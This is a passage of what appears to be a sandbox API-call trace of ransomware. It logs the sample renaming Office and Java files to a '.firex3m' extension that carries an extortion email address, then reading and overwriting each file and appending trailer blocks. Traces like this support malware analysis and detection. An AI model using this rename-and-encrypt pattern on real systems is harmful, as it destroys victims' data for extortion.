(dwMilliseconds=0x1) [0117.655] Sleep (dwMilliseconds=0x1) [0117.679] Sleep (dwMilliseconds=0x1) [0117.686] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.718] Sleep (dwMilliseconds=0x1) [0123.310] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 1 [0123.310] GetProcessHeap () returned 0x630000 [0123.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x188) returned 0x66a3e0 [0123.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0123.318] CloseHandle (hObject=0x6c8) returned 1 [0123.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.319] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3a41, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APFF3A~1.FIR")) returned 0x6d5200 [0123.319] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0123.319] GetProcessHeap () returned 0x630000 [0123.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3a61) returned 0x71790c8 [0123.319] GetProcessHeap () returned 0x630000 [0123.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3a61) returned 0x717cb38 [0123.319] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.319] ReadFile (in: hFile=0x6c8, lpBuffer=0x71790c8, nNumberOfBytesToRead=0x3a40, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71790c8*, lpNumberOfBytesRead=0x3a7ff0c*=0x3a40, lpOverlapped=0x0) returned 1 [0125.329] GetProcessHeap () returned 0x630000 [0125.329] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0125.329] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.330] WriteFile (in: hFile=0x6c8, lpBuffer=0x717cb38*, nNumberOfBytesToWrite=0x3a40, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717cb38*, lpNumberOfBytesWritten=0x3a7ff0c*=0x3a40, lpOverlapped=0x0) returned 1 [0126.833] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.833] WriteFile (in: hFile=0x6c8, lpBuffer=0x7180577*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7180577*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.098] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.098] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.098] CloseHandle (hObject=0x6c8) returned 1 [0129.601] GetProcessHeap () returned 0x630000 [0129.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717cb38 | out: hHeap=0x630000) returned 1 [0129.601] GetProcessHeap () returned 0x630000 [0129.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71790c8 | out: hHeap=0x630000) returned 1 [0129.601] GetProcessHeap () returned 0x630000 [0129.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0131.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x124e54a9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3a65, dwReserved0=0xc887496, dwReserved1=0x71790c0, cFileName="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APFF3A~1.FIR")) returned 0x6d4f00 [0131.537] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0131.537] Sleep (dwMilliseconds=0x1) [0131.588] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf", len=0x34 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 1 [0131.588] GetProcessHeap () returned 0x630000 [0131.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c) returned 0x66a3e0 [0131.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0131.595] CloseHandle (hObject=0x410) returned 1 [0131.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0131.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x4a085a18, dwReserved1=0x0, cFileName="CIEXYZ.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CIEXYZ~1.FIR")) returned 0x6d4ec0 [0131.599] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0131.599] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0131.599] GetProcessHeap () returned 0x630000 [0131.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0131.599] GetProcessHeap () returned 0x630000 [0131.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x721d1d8 [0131.599] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.599] ReadFile (in: hFile=0x6e0, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0139.301] GetProcessHeap () returned 0x630000 [0139.301] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0139.301] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.301] WriteFile (in: hFile=0x6e0, lpBuffer=0x721d1d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721d1d8*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0139.301] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.301] WriteFile (in: hFile=0x6e0, lpBuffer=0x72285d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72285d7*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.301] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.301] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.302] CloseHandle (hObject=0x6e0) returned 1 [0139.302] GetProcessHeap () returned 0x630000 [0139.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721d1d8 | out: hHeap=0x630000) returned 1 [0139.302] GetProcessHeap () returned 0x630000 [0139.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0139.302] GetProcessHeap () returned 0x630000 [0139.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0139.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x18fb52ff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc848, dwReserved0=0xc887496, dwReserved1=0x6ec0040, cFileName="CIEXYZ.pf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CIEXYZ~1.FIR")) returned 0x6d5580 [0139.303] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0139.303] Sleep (dwMilliseconds=0x1) [0140.441] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms", len=0x51 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 1 [0140.441] GetProcessHeap () returned 0x630000 [0140.441] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c34) returned 0x7203db8 [0140.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0142.625] CloseHandle (hObject=0x69c) returned 1 [0142.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.850] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42fdf13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42fdf13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe43967f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29a3, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="HomeBusinessR_Retail3-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOAB7C~1.FIR")) returned 0x6d52c0 [0143.851] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0143.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0143.851] GetProcessHeap () returned 0x630000 [0143.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29c1) returned 0x6ee3590 [0143.851] GetProcessHeap () returned 0x630000 [0143.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x29c1) returned 0x6ee5f60 [0143.851] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.851] ReadFile (in: hFile=0x69c, lpBuffer=0x6ee3590, nNumberOfBytesToRead=0x29a0, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3590*, lpNumberOfBytesRead=0x3a7ff0c*=0x29a0, lpOverlapped=0x0) returned 1 [0144.393] GetProcessHeap () returned 0x630000 [0144.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0144.394] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.394] WriteFile (in: hFile=0x69c, lpBuffer=0x6ee5f60*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee5f60*, lpNumberOfBytesWritten=0x3a7ff0c*=0x29a0, lpOverlapped=0x0) returned 1 [0145.605] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.605] WriteFile (in: hFile=0x69c, lpBuffer=0x6ee88ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88ff*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.951] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.951] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.951] CloseHandle (hObject=0x69c) returned 1 [0145.951] GetProcessHeap () returned 0x630000 [0145.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee5f60 | out: hHeap=0x630000) returned 1 [0145.951] GetProcessHeap () returned 0x630000 [0145.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3590 | out: hHeap=0x630000) returned 1 [0145.951] GetProcessHeap () returned 0x630000 [0145.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0145.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe42fdf13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe42fdf13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf1ccc0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29c7, dwReserved0=0xc887496, dwReserved1=0x6ee3588, cFileName="HomeBusinessR_Retail3-pl.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOAB7C~1.FIR")) returned 0x6d5340 [0145.952] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0145.952] Sleep (dwMilliseconds=0x1) [0146.024] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD", len=0x3e | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD") returned 1 [0146.024] GetProcessHeap () returned 0x630000 [0146.024] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2738) returned 0x71f7c78 [0146.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.099] CloseHandle (hObject=0x708) returned 1 [0146.099] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgch.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgch.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46d8311, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46d8311, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCH.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGCHV~1.FIR")) returned 0x6d5540 [0146.100] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgch.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.100] GetProcessHeap () returned 0x630000 [0146.100] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x661) returned 0x6ff0118 [0146.100] GetProcessHeap () returned 0x630000 [0146.100] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x661) returned 0x67e1a0 [0146.101] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.101] ReadFile (in: hFile=0x708, lpBuffer=0x6ff0118, nNumberOfBytesToRead=0x640, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff0118*, lpNumberOfBytesRead=0x3a7ff0c*=0x640, lpOverlapped=0x0) returned 1 [0146.119] GetProcessHeap () returned 0x630000 [0146.119] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.119] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.120] WriteFile (in: hFile=0x708, lpBuffer=0x67e1a0*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67e1a0*, lpNumberOfBytesWritten=0x3a7ff0c*=0x640, lpOverlapped=0x0) returned 1 [0146.120] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.120] WriteFile (in: hFile=0x708, lpBuffer=0x67e7df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67e7df*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.120] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.120] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, 